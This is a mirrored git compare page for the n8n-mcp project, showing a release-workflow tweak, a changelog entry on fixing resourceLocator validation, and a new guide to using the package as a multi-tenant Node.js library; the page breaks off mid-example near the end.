mirror of
https://github.com/czlonkowski/n8n-mcp.git
synced 2026-03-20 17:33:08 +00:00
Compare commits
12 Commits
v2.18.6
...
fix/npm-pu
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
54c598717c | ||
|
|
8b5b01de98 | ||
|
|
275e573d8d | ||
|
|
6256105053 | ||
|
|
1f43784315 | ||
|
|
80e3391773 | ||
|
|
c580a3dde4 | ||
|
|
fc8fb66900 | ||
|
|
4625ebf64d | ||
|
|
43dea68f0b | ||
|
|
dc62fd66cb | ||
|
|
a94ff0586c |
9
.github/workflows/release.yml
vendored
9
.github/workflows/release.yml
vendored
@@ -334,6 +334,15 @@ jobs:
|
|||||||
const pkg = require('./package.json');
|
const pkg = require('./package.json');
|
||||||
pkg.name = 'n8n-mcp';
|
pkg.name = 'n8n-mcp';
|
||||||
pkg.description = 'Integration between n8n workflow automation and Model Context Protocol (MCP)';
|
pkg.description = 'Integration between n8n workflow automation and Model Context Protocol (MCP)';
|
||||||
|
pkg.main = 'dist/index.js';
|
||||||
|
pkg.types = 'dist/index.d.ts';
|
||||||
|
pkg.exports = {
|
||||||
|
'.': {
|
||||||
|
types: './dist/index.d.ts',
|
||||||
|
require: './dist/index.js',
|
||||||
|
import: './dist/index.js'
|
||||||
|
}
|
||||||
|
};
|
||||||
pkg.bin = { 'n8n-mcp': './dist/mcp/index.js' };
|
pkg.bin = { 'n8n-mcp': './dist/mcp/index.js' };
|
||||||
pkg.repository = { type: 'git', url: 'git+https://github.com/czlonkowski/n8n-mcp.git' };
|
pkg.repository = { type: 'git', url: 'git+https://github.com/czlonkowski/n8n-mcp.git' };
|
||||||
pkg.keywords = ['n8n', 'mcp', 'model-context-protocol', 'ai', 'workflow', 'automation'];
|
pkg.keywords = ['n8n', 'mcp', 'model-context-protocol', 'ai', 'workflow', 'automation'];
|
||||||
|
|||||||
66
CHANGELOG.md
66
CHANGELOG.md
@@ -5,6 +5,72 @@ All notable changes to this project will be documented in this file.
|
|||||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
||||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||||
|
|
||||||
|
## [2.18.8] - 2025-10-11
|
||||||
|
|
||||||
|
### 🐛 Bug Fixes
|
||||||
|
|
||||||
|
**PR #308: Enable Schema-Based resourceLocator Mode Validation**
|
||||||
|
|
||||||
|
This release fixes critical validator false positives by implementing true schema-based validation for resourceLocator modes. The root cause was discovered through deep analysis: the validator was looking at the wrong path for mode definitions in n8n node schemas.
|
||||||
|
|
||||||
|
#### Root Cause
|
||||||
|
|
||||||
|
- **Wrong Path**: Validator checked `prop.typeOptions?.resourceLocator?.modes` ❌
|
||||||
|
- **Correct Path**: n8n stores modes at `prop.modes` (top level of property) ✅
|
||||||
|
- **Impact**: 0% validation coverage - all resourceLocator validation was being skipped, causing false positives
|
||||||
|
|
||||||
|
#### Fixed
|
||||||
|
|
||||||
|
- **Schema-Based Validation Now Active**
|
||||||
|
- **Issue #304**: Google Sheets "name" mode incorrectly rejected (false positive)
|
||||||
|
- **Coverage**: Increased from 0% to 100% (all 70 resourceLocator nodes now validated)
|
||||||
|
- **Root Cause**: Validator reading from wrong schema path
|
||||||
|
- **Fix**: Changed validation path from `prop.typeOptions?.resourceLocator?.modes` to `prop.modes`
|
||||||
|
- **Files Changed**:
|
||||||
|
- `src/services/config-validator.ts` (lines 273-310): Corrected validation path
|
||||||
|
- `src/parsers/property-extractor.ts` (line 234): Added modes field capture
|
||||||
|
- `src/services/node-specific-validators.ts` (lines 270-282): Google Sheets range/columns flexibility
|
||||||
|
- Updated 6 test files to match real n8n schema structure
|
||||||
|
|
||||||
|
- **Database Rebuild**
|
||||||
|
- Rebuilt with modes field captured from n8n packages
|
||||||
|
- All 70 resourceLocator nodes now have mode definitions populated
|
||||||
|
- Enables true schema-driven validation (no more hardcoded mode lists)
|
||||||
|
|
||||||
|
- **Google Sheets Enhancement**
|
||||||
|
- Now accepts EITHER `range` OR `columns` parameter for append operation
|
||||||
|
- Supports Google Sheets v4+ resourceMapper pattern
|
||||||
|
- Better error messages showing actual allowed modes from schema
|
||||||
|
|
||||||
|
#### Testing
|
||||||
|
|
||||||
|
- **Before Fix**:
|
||||||
|
- ❌ Valid Google Sheets "name" mode rejected (false positive)
|
||||||
|
- ❌ Schema-based validation inactive (0% coverage)
|
||||||
|
- ❌ Hardcoded mode validation only
|
||||||
|
|
||||||
|
- **After Fix**:
|
||||||
|
- ✅ Valid "name" mode accepted
|
||||||
|
- ✅ Schema-based validation active (100% coverage - 70/70 nodes)
|
||||||
|
- ✅ Invalid modes rejected with helpful errors: `must be one of [list, url, id, name]`
|
||||||
|
- ✅ All 143 tests pass
|
||||||
|
- ✅ Verified with n8n-mcp-tester agent
|
||||||
|
|
||||||
|
#### Impact
|
||||||
|
|
||||||
|
- **Fixes #304**: Google Sheets "name" mode false positive eliminated
|
||||||
|
- **Related to #306**: Validator improvements
|
||||||
|
- **No Breaking Changes**: More permissive (accepts previously rejected valid modes)
|
||||||
|
- **Better UX**: Error messages show actual allowed modes from schema
|
||||||
|
- **Maintainability**: Schema-driven approach eliminates need for hardcoded mode lists
|
||||||
|
- **Code Quality**: Code review score 9.3/10
|
||||||
|
|
||||||
|
#### Example Error Message (After Fix)
|
||||||
|
```
|
||||||
|
resourceLocator 'sheetName.mode' must be one of [list, url, id, name], got 'invalid'
|
||||||
|
Fix: Change mode to one of: list, url, id, name
|
||||||
|
```
|
||||||
|
|
||||||
## [2.18.6] - 2025-10-10
|
## [2.18.6] - 2025-10-10
|
||||||
|
|
||||||
### 🐛 Bug Fixes
|
### 🐛 Bug Fixes
|
||||||
|
|||||||
BIN
data/nodes.db
BIN
data/nodes.db
Binary file not shown.
724
docs/LIBRARY_USAGE.md
Normal file
724
docs/LIBRARY_USAGE.md
Normal file
@@ -0,0 +1,724 @@
|
|||||||
|
# Library Usage Guide - Multi-Tenant / Hosted Deployments
|
||||||
|
|
||||||
|
This guide covers using n8n-mcp as a library dependency for building multi-tenant hosted services.
|
||||||
|
|
||||||
|
## Overview
|
||||||
|
|
||||||
|
n8n-mcp can be used as a Node.js library to build multi-tenant backends that provide MCP services to multiple users or instances. The package exports all necessary components for integration into your existing services.
|
||||||
|
|
||||||
|
## Installation
|
||||||
|
|
||||||
|
```bash
|
||||||
|
npm install n8n-mcp
|
||||||
|
```
|
||||||
|
|
||||||
|
## Core Concepts
|
||||||
|
|
||||||
|
### Library Mode vs CLI Mode
|
||||||
|
|
||||||
|
- **CLI Mode** (default): Single-player usage via `npx n8n-mcp` or Docker
|
||||||
|
- **Library Mode**: Multi-tenant usage by importing and using the `N8NMCPEngine` class
|
||||||
|
|
||||||
|
### Instance Context
|
||||||
|
|
||||||
|
The `InstanceContext` type allows you to pass per-request configuration to the MCP engine:
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
interface InstanceContext {
|
||||||
|
// Instance-specific n8n API configuration
|
||||||
|
n8nApiUrl?: string;
|
||||||
|
n8nApiKey?: string;
|
||||||
|
n8nApiTimeout?: number;
|
||||||
|
n8nApiMaxRetries?: number;
|
||||||
|
|
||||||
|
// Instance identification
|
||||||
|
instanceId?: string;
|
||||||
|
sessionId?: string;
|
||||||
|
|
||||||
|
// Extensible metadata
|
||||||
|
metadata?: Record<string, any>;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Basic Example
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
import express from 'express';
|
||||||
|
import { N8NMCPEngine } from 'n8n-mcp';
|
||||||
|
|
||||||
|
const app = express();
|
||||||
|
const mcpEngine = new N8NMCPEngine({
|
||||||
|
sessionTimeout: 3600000, // 1 hour
|
||||||
|
logLevel: 'info'
|
||||||
|
});
|
||||||
|
|
||||||
|
// Handle MCP requests with per-user context
|
||||||
|
app.post('/mcp', async (req, res) => {
|
||||||
|
const instanceContext = {
|
||||||
|
n8nApiUrl: req.user.n8nUrl,
|
||||||
|
n8nApiKey: req.user.n8nApiKey,
|
||||||
|
instanceId: req.user.id
|
||||||
|
};
|
||||||
|
|
||||||
|
await mcpEngine.processRequest(req, res, instanceContext);
|
||||||
|
});
|
||||||
|
|
||||||
|
app.listen(3000);
|
||||||
|
```
|
||||||
|
|
||||||
|
## Multi-Tenant Backend Example
|
||||||
|
|
||||||
|
This example shows a complete multi-tenant implementation with user authentication and instance management:
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
import express from 'express';
|
||||||
|
import { N8NMCPEngine, InstanceContext, validateInstanceContext } from 'n8n-mcp';
|
||||||
|
|
||||||
|
const app = express();
|
||||||
|
const mcpEngine = new N8NMCPEngine({
|
||||||
|
sessionTimeout: 3600000, // 1 hour
|
||||||
|
logLevel: 'info'
|
||||||
|
});
|
||||||
|
|
||||||
|
// Start MCP engine
|
||||||
|
await mcpEngine.start();
|
||||||
|
|
||||||
|
// Authentication middleware
|
||||||
|
const authenticate = async (req, res, next) => {
|
||||||
|
const token = req.headers.authorization?.replace('Bearer ', '');
|
||||||
|
if (!token) {
|
||||||
|
return res.status(401).json({ error: 'Unauthorized' });
|
||||||
|
}
|
||||||
|
|
||||||
|
// Verify token and attach user to request
|
||||||
|
req.user = await getUserFromToken(token);
|
||||||
|
next();
|
||||||
|
};
|
||||||
|
|
||||||
|
// Get instance configuration from database
|
||||||
|
const getInstanceConfig = async (instanceId: string, userId: string) => {
|
||||||
|
// Your database logic here
|
||||||
|
const instance = await db.instances.findOne({
|
||||||
|
where: { id: instanceId, userId }
|
||||||
|
});
|
||||||
|
|
||||||
|
if (!instance) {
|
||||||
|
throw new Error('Instance not found');
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
n8nApiUrl: instance.n8nUrl,
|
||||||
|
n8nApiKey: await decryptApiKey(instance.encryptedApiKey),
|
||||||
|
instanceId: instance.id
|
||||||
|
};
|
||||||
|
};
|
||||||
|
|
||||||
|
// MCP endpoint with per-instance context
|
||||||
|
app.post('/api/instances/:instanceId/mcp', authenticate, async (req, res) => {
|
||||||
|
try {
|
||||||
|
// Get instance configuration
|
||||||
|
const instance = await getInstanceConfig(req.params.instanceId, req.user.id);
|
||||||
|
|
||||||
|
// Create instance context
|
||||||
|
const context: InstanceContext = {
|
||||||
|
n8nApiUrl: instance.n8nApiUrl,
|
||||||
|
n8nApiKey: instance.n8nApiKey,
|
||||||
|
instanceId: instance.instanceId,
|
||||||
|
metadata: {
|
||||||
|
userId: req.user.id,
|
||||||
|
userAgent: req.headers['user-agent'],
|
||||||
|
ip: req.ip
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
// Validate context before processing
|
||||||
|
const validation = validateInstanceContext(context);
|
||||||
|
if (!validation.valid) {
|
||||||
|
return res.status(400).json({
|
||||||
|
error: 'Invalid instance configuration',
|
||||||
|
details: validation.errors
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// Process request with instance context
|
||||||
|
await mcpEngine.processRequest(req, res, context);
|
||||||
|
|
||||||
|
} catch (error) {
|
||||||
|
console.error('MCP request error:', error);
|
||||||
|
res.status(500).json({ error: 'Internal server error' });
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// Health endpoint
|
||||||
|
app.get('/health', async (req, res) => {
|
||||||
|
const health = await mcpEngine.healthCheck();
|
||||||
|
res.status(health.status === 'healthy' ? 200 : 503).json(health);
|
||||||
|
});
|
||||||
|
|
||||||
|
// Graceful shutdown
|
||||||
|
process.on('SIGTERM', async () => {
|
||||||
|
await mcpEngine.shutdown();
|
||||||
|
process.exit(0);
|
||||||
|
});
|
||||||
|
|
||||||
|
app.listen(3000);
|
||||||
|
```
|
||||||
|
|
||||||
|
## API Reference
|
||||||
|
|
||||||
|
### N8NMCPEngine
|
||||||
|
|
||||||
|
#### Constructor
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
new N8NMCPEngine(options?: {
|
||||||
|
sessionTimeout?: number; // Session TTL in ms (default: 1800000 = 30min)
|
||||||
|
logLevel?: 'error' | 'warn' | 'info' | 'debug'; // Default: 'info'
|
||||||
|
})
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Methods
|
||||||
|
|
||||||
|
##### `async processRequest(req, res, context?)`
|
||||||
|
|
||||||
|
Process a single MCP request with optional instance context.
|
||||||
|
|
||||||
|
**Parameters:**
|
||||||
|
- `req`: Express request object
|
||||||
|
- `res`: Express response object
|
||||||
|
- `context` (optional): InstanceContext with per-instance configuration
|
||||||
|
|
||||||
|
**Example:**
|
||||||
|
```typescript
|
||||||
|
const context: InstanceContext = {
|
||||||
|
n8nApiUrl: 'https://instance1.n8n.cloud',
|
||||||
|
n8nApiKey: 'instance1-key',
|
||||||
|
instanceId: 'tenant-123'
|
||||||
|
};
|
||||||
|
|
||||||
|
await engine.processRequest(req, res, context);
|
||||||
|
```
|
||||||
|
|
||||||
|
##### `async healthCheck()`
|
||||||
|
|
||||||
|
Get engine health status for monitoring.
|
||||||
|
|
||||||
|
**Returns:** `EngineHealth`
|
||||||
|
```typescript
|
||||||
|
{
|
||||||
|
status: 'healthy' | 'unhealthy';
|
||||||
|
uptime: number; // seconds
|
||||||
|
sessionActive: boolean;
|
||||||
|
memoryUsage: {
|
||||||
|
used: number;
|
||||||
|
total: number;
|
||||||
|
unit: string;
|
||||||
|
};
|
||||||
|
version: string;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**Example:**
|
||||||
|
```typescript
|
||||||
|
app.get('/health', async (req, res) => {
|
||||||
|
const health = await engine.healthCheck();
|
||||||
|
res.status(health.status === 'healthy' ? 200 : 503).json(health);
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
##### `getSessionInfo()`
|
||||||
|
|
||||||
|
Get current session information for debugging.
|
||||||
|
|
||||||
|
**Returns:**
|
||||||
|
```typescript
|
||||||
|
{
|
||||||
|
active: boolean;
|
||||||
|
sessionId?: string;
|
||||||
|
age?: number; // milliseconds
|
||||||
|
sessions?: {
|
||||||
|
total: number;
|
||||||
|
active: number;
|
||||||
|
expired: number;
|
||||||
|
max: number;
|
||||||
|
sessionIds: string[];
|
||||||
|
};
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
##### `async start()`
|
||||||
|
|
||||||
|
Start the engine (for standalone mode). Not needed when using `processRequest()` directly.
|
||||||
|
|
||||||
|
##### `async shutdown()`
|
||||||
|
|
||||||
|
Graceful shutdown for service lifecycle management.
|
||||||
|
|
||||||
|
**Example:**
|
||||||
|
```typescript
|
||||||
|
process.on('SIGTERM', async () => {
|
||||||
|
await engine.shutdown();
|
||||||
|
process.exit(0);
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
### Types
|
||||||
|
|
||||||
|
#### InstanceContext
|
||||||
|
|
||||||
|
Configuration for a specific user instance:
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
interface InstanceContext {
|
||||||
|
n8nApiUrl?: string;
|
||||||
|
n8nApiKey?: string;
|
||||||
|
n8nApiTimeout?: number;
|
||||||
|
n8nApiMaxRetries?: number;
|
||||||
|
instanceId?: string;
|
||||||
|
sessionId?: string;
|
||||||
|
metadata?: Record<string, any>;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Validation Functions
|
||||||
|
|
||||||
|
##### `validateInstanceContext(context: InstanceContext)`
|
||||||
|
|
||||||
|
Validate and sanitize instance context.
|
||||||
|
|
||||||
|
**Returns:**
|
||||||
|
```typescript
|
||||||
|
{
|
||||||
|
valid: boolean;
|
||||||
|
errors?: string[];
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**Example:**
|
||||||
|
```typescript
|
||||||
|
import { validateInstanceContext } from 'n8n-mcp';
|
||||||
|
|
||||||
|
const validation = validateInstanceContext(context);
|
||||||
|
if (!validation.valid) {
|
||||||
|
console.error('Invalid context:', validation.errors);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
##### `isInstanceContext(obj: any)`
|
||||||
|
|
||||||
|
Type guard to check if an object is a valid InstanceContext.
|
||||||
|
|
||||||
|
**Example:**
|
||||||
|
```typescript
|
||||||
|
import { isInstanceContext } from 'n8n-mcp';
|
||||||
|
|
||||||
|
if (isInstanceContext(req.body.context)) {
|
||||||
|
// TypeScript knows this is InstanceContext
|
||||||
|
await engine.processRequest(req, res, req.body.context);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Session Management
|
||||||
|
|
||||||
|
### Session Strategies
|
||||||
|
|
||||||
|
The MCP engine supports flexible session ID formats:
|
||||||
|
|
||||||
|
- **UUIDv4**: Internal n8n-mcp format (default)
|
||||||
|
- **Instance-prefixed**: `instance-{userId}-{hash}-{uuid}` for multi-tenant isolation
|
||||||
|
- **Custom formats**: Any non-empty string for mcp-remote and other proxies
|
||||||
|
|
||||||
|
Session validation happens via transport lookup, not format validation. This ensures compatibility with all MCP clients.
|
||||||
|
|
||||||
|
### Multi-Tenant Configuration
|
||||||
|
|
||||||
|
Set these environment variables for multi-tenant mode:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Enable multi-tenant mode
|
||||||
|
ENABLE_MULTI_TENANT=true
|
||||||
|
|
||||||
|
# Session strategy: "instance" (default) or "shared"
|
||||||
|
MULTI_TENANT_SESSION_STRATEGY=instance
|
||||||
|
```
|
||||||
|
|
||||||
|
**Session Strategies:**
|
||||||
|
|
||||||
|
- **instance** (recommended): Each tenant gets isolated sessions
|
||||||
|
- Session ID: `instance-{instanceId}-{configHash}-{uuid}`
|
||||||
|
- Better isolation and security
|
||||||
|
- Easier debugging per tenant
|
||||||
|
|
||||||
|
- **shared**: Multiple tenants share sessions with context switching
|
||||||
|
- More efficient for high tenant count
|
||||||
|
- Requires careful context management
|
||||||
|
|
||||||
|
## Security Considerations
|
||||||
|
|
||||||
|
### API Key Management
|
||||||
|
|
||||||
|
Always encrypt API keys server-side:
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
import { createCipheriv, createDecipheriv } from 'crypto';
|
||||||
|
|
||||||
|
// Encrypt before storing
|
||||||
|
const encryptApiKey = (apiKey: string) => {
|
||||||
|
const cipher = createCipheriv('aes-256-gcm', encryptionKey, iv);
|
||||||
|
return cipher.update(apiKey, 'utf8', 'hex') + cipher.final('hex');
|
||||||
|
};
|
||||||
|
|
||||||
|
// Decrypt before using
|
||||||
|
const decryptApiKey = (encrypted: string) => {
|
||||||
|
const decipher = createDecipheriv('aes-256-gcm', encryptionKey, iv);
|
||||||
|
return decipher.update(encrypted, 'hex', 'utf8') + decipher.final('utf8');
|
||||||
|
};
|
||||||
|
|
||||||
|
// Use decrypted key in context
|
||||||
|
const context: InstanceContext = {
|
||||||
|
n8nApiKey: await decryptApiKey(instance.encryptedApiKey),
|
||||||
|
// ...
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
### Input Validation
|
||||||
|
|
||||||
|
Always validate instance context before processing:
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
import { validateInstanceContext } from 'n8n-mcp';
|
||||||
|
|
||||||
|
const validation = validateInstanceContext(context);
|
||||||
|
if (!validation.valid) {
|
||||||
|
throw new Error(`Invalid context: ${validation.errors?.join(', ')}`);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Rate Limiting
|
||||||
|
|
||||||
|
Implement rate limiting per tenant:
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
import rateLimit from 'express-rate-limit';
|
||||||
|
|
||||||
|
const limiter = rateLimit({
|
||||||
|
windowMs: 15 * 60 * 1000, // 15 minutes
|
||||||
|
max: 100, // limit each IP to 100 requests per windowMs
|
||||||
|
keyGenerator: (req) => req.user?.id || req.ip
|
||||||
|
});
|
||||||
|
|
||||||
|
app.post('/api/instances/:instanceId/mcp', authenticate, limiter, async (req, res) => {
|
||||||
|
// ...
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
## Error Handling
|
||||||
|
|
||||||
|
Always wrap MCP requests in try-catch blocks:
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
app.post('/api/instances/:instanceId/mcp', authenticate, async (req, res) => {
|
||||||
|
try {
|
||||||
|
const context = await getInstanceConfig(req.params.instanceId, req.user.id);
|
||||||
|
await mcpEngine.processRequest(req, res, context);
|
||||||
|
} catch (error) {
|
||||||
|
console.error('MCP error:', error);
|
||||||
|
|
||||||
|
// Don't leak internal errors to clients
|
||||||
|
if (error.message.includes('not found')) {
|
||||||
|
return res.status(404).json({ error: 'Instance not found' });
|
||||||
|
}
|
||||||
|
|
||||||
|
res.status(500).json({ error: 'Internal server error' });
|
||||||
|
}
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
## Monitoring
|
||||||
|
|
||||||
|
### Health Checks
|
||||||
|
|
||||||
|
Set up periodic health checks:
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
setInterval(async () => {
|
||||||
|
const health = await mcpEngine.healthCheck();
|
||||||
|
|
||||||
|
if (health.status === 'unhealthy') {
|
||||||
|
console.error('MCP engine unhealthy:', health);
|
||||||
|
// Alert your monitoring system
|
||||||
|
}
|
||||||
|
|
||||||
|
// Log metrics
|
||||||
|
console.log('MCP engine metrics:', {
|
||||||
|
uptime: health.uptime,
|
||||||
|
memory: health.memoryUsage,
|
||||||
|
sessionActive: health.sessionActive
|
||||||
|
});
|
||||||
|
}, 60000); // Every minute
|
||||||
|
```
|
||||||
|
|
||||||
|
### Session Monitoring
|
||||||
|
|
||||||
|
Track active sessions:
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
app.get('/admin/sessions', authenticate, async (req, res) => {
|
||||||
|
if (!req.user.isAdmin) {
|
||||||
|
return res.status(403).json({ error: 'Forbidden' });
|
||||||
|
}
|
||||||
|
|
||||||
|
const sessionInfo = mcpEngine.getSessionInfo();
|
||||||
|
res.json(sessionInfo);
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
## Testing
|
||||||
|
|
||||||
|
### Unit Testing
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
import { N8NMCPEngine, InstanceContext } from 'n8n-mcp';
|
||||||
|
|
||||||
|
describe('MCP Engine', () => {
|
||||||
|
let engine: N8NMCPEngine;
|
||||||
|
|
||||||
|
beforeEach(() => {
|
||||||
|
engine = new N8NMCPEngine({ logLevel: 'error' });
|
||||||
|
});
|
||||||
|
|
||||||
|
afterEach(async () => {
|
||||||
|
await engine.shutdown();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should process request with context', async () => {
|
||||||
|
const context: InstanceContext = {
|
||||||
|
n8nApiUrl: 'https://test.n8n.io',
|
||||||
|
n8nApiKey: 'test-key',
|
||||||
|
instanceId: 'test-instance'
|
||||||
|
};
|
||||||
|
|
||||||
|
const mockReq = createMockRequest();
|
||||||
|
const mockRes = createMockResponse();
|
||||||
|
|
||||||
|
await engine.processRequest(mockReq, mockRes, context);
|
||||||
|
|
||||||
|
expect(mockRes.status).toBe(200);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
### Integration Testing
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
import request from 'supertest';
|
||||||
|
import { createApp } from './app';
|
||||||
|
|
||||||
|
describe('Multi-tenant MCP API', () => {
|
||||||
|
let app;
|
||||||
|
let authToken;
|
||||||
|
|
||||||
|
beforeAll(async () => {
|
||||||
|
app = await createApp();
|
||||||
|
authToken = await getTestAuthToken();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle MCP request for instance', async () => {
|
||||||
|
const response = await request(app)
|
||||||
|
.post('/api/instances/test-instance/mcp')
|
||||||
|
.set('Authorization', `Bearer ${authToken}`)
|
||||||
|
.send({
|
||||||
|
jsonrpc: '2.0',
|
||||||
|
method: 'initialize',
|
||||||
|
params: {
|
||||||
|
protocolVersion: '2024-11-05',
|
||||||
|
capabilities: {}
|
||||||
|
},
|
||||||
|
id: 1
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(200);
|
||||||
|
expect(response.body.result).toBeDefined();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
## Deployment Considerations
|
||||||
|
|
||||||
|
### Environment Variables
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Required for multi-tenant mode
|
||||||
|
ENABLE_MULTI_TENANT=true
|
||||||
|
MULTI_TENANT_SESSION_STRATEGY=instance
|
||||||
|
|
||||||
|
# Optional: Logging
|
||||||
|
LOG_LEVEL=info
|
||||||
|
DISABLE_CONSOLE_OUTPUT=false
|
||||||
|
|
||||||
|
# Optional: Session configuration
|
||||||
|
SESSION_TIMEOUT=1800000 # 30 minutes in milliseconds
|
||||||
|
MAX_SESSIONS=100
|
||||||
|
|
||||||
|
# Optional: Performance
|
||||||
|
NODE_ENV=production
|
||||||
|
```
|
||||||
|
|
||||||
|
### Docker Deployment
|
||||||
|
|
||||||
|
```dockerfile
|
||||||
|
FROM node:20-alpine
|
||||||
|
|
||||||
|
WORKDIR /app
|
||||||
|
|
||||||
|
COPY package*.json ./
|
||||||
|
RUN npm ci --only=production
|
||||||
|
|
||||||
|
COPY . .
|
||||||
|
|
||||||
|
ENV NODE_ENV=production
|
||||||
|
ENV ENABLE_MULTI_TENANT=true
|
||||||
|
ENV LOG_LEVEL=info
|
||||||
|
|
||||||
|
EXPOSE 3000
|
||||||
|
|
||||||
|
CMD ["node", "dist/server.js"]
|
||||||
|
```
|
||||||
|
|
||||||
|
### Kubernetes Deployment
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: n8n-mcp-backend
|
||||||
|
spec:
|
||||||
|
replicas: 3
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: n8n-mcp-backend
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: n8n-mcp-backend
|
||||||
|
spec:
|
||||||
|
containers:
|
||||||
|
- name: backend
|
||||||
|
image: your-registry/n8n-mcp-backend:latest
|
||||||
|
ports:
|
||||||
|
- containerPort: 3000
|
||||||
|
env:
|
||||||
|
- name: ENABLE_MULTI_TENANT
|
||||||
|
value: "true"
|
||||||
|
- name: LOG_LEVEL
|
||||||
|
value: "info"
|
||||||
|
resources:
|
||||||
|
requests:
|
||||||
|
memory: "256Mi"
|
||||||
|
cpu: "250m"
|
||||||
|
limits:
|
||||||
|
memory: "512Mi"
|
||||||
|
cpu: "500m"
|
||||||
|
livenessProbe:
|
||||||
|
httpGet:
|
||||||
|
path: /health
|
||||||
|
port: 3000
|
||||||
|
initialDelaySeconds: 10
|
||||||
|
periodSeconds: 30
|
||||||
|
readinessProbe:
|
||||||
|
httpGet:
|
||||||
|
path: /health
|
||||||
|
port: 3000
|
||||||
|
initialDelaySeconds: 5
|
||||||
|
periodSeconds: 10
|
||||||
|
```
|
||||||
|
|
||||||
|
## Examples
|
||||||
|
|
||||||
|
### Complete Multi-Tenant SaaS Example
|
||||||
|
|
||||||
|
For a complete implementation example, see:
|
||||||
|
- [n8n-mcp-backend](https://github.com/czlonkowski/n8n-mcp-backend) - Full hosted service implementation
|
||||||
|
|
||||||
|
### Migration from Single-Player
|
||||||
|
|
||||||
|
If you're migrating from single-player (CLI/Docker) to multi-tenant:
|
||||||
|
|
||||||
|
1. **Keep backward compatibility** - Use environment fallback:
|
||||||
|
```typescript
|
||||||
|
const context: InstanceContext = {
|
||||||
|
n8nApiUrl: instanceUrl || process.env.N8N_API_URL,
|
||||||
|
n8nApiKey: instanceKey || process.env.N8N_API_KEY,
|
||||||
|
instanceId: instanceId || 'default'
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
2. **Gradual rollout** - Start with a feature flag:
|
||||||
|
```typescript
|
||||||
|
const isMultiTenant = process.env.ENABLE_MULTI_TENANT === 'true';
|
||||||
|
|
||||||
|
if (isMultiTenant) {
|
||||||
|
const context = await getInstanceConfig(req.params.instanceId);
|
||||||
|
await engine.processRequest(req, res, context);
|
||||||
|
} else {
|
||||||
|
// Legacy single-player mode
|
||||||
|
await engine.processRequest(req, res);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Troubleshooting
|
||||||
|
|
||||||
|
### Common Issues
|
||||||
|
|
||||||
|
#### Module Resolution Errors
|
||||||
|
|
||||||
|
If you see `Cannot find module 'n8n-mcp'`:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Clear node_modules and reinstall
|
||||||
|
rm -rf node_modules package-lock.json
|
||||||
|
npm install
|
||||||
|
|
||||||
|
# Verify package has types field
|
||||||
|
npm info n8n-mcp
|
||||||
|
|
||||||
|
# Check TypeScript can resolve it
|
||||||
|
npx tsc --noEmit
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Session ID Validation Errors
|
||||||
|
|
||||||
|
If you see `Invalid session ID format` errors:
|
||||||
|
|
||||||
|
- Ensure you're using n8n-mcp v2.18.9 or later
|
||||||
|
- Session IDs can be any non-empty string
|
||||||
|
- No need to generate UUIDs - use your own format
|
||||||
|
|
||||||
|
#### Memory Leaks
|
||||||
|
|
||||||
|
If memory usage grows over time:
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// Ensure proper cleanup
|
||||||
|
process.on('SIGTERM', async () => {
|
||||||
|
await engine.shutdown();
|
||||||
|
process.exit(0);
|
||||||
|
});
|
||||||
|
|
||||||
|
// Monitor session count
|
||||||
|
const sessionInfo = engine.getSessionInfo();
|
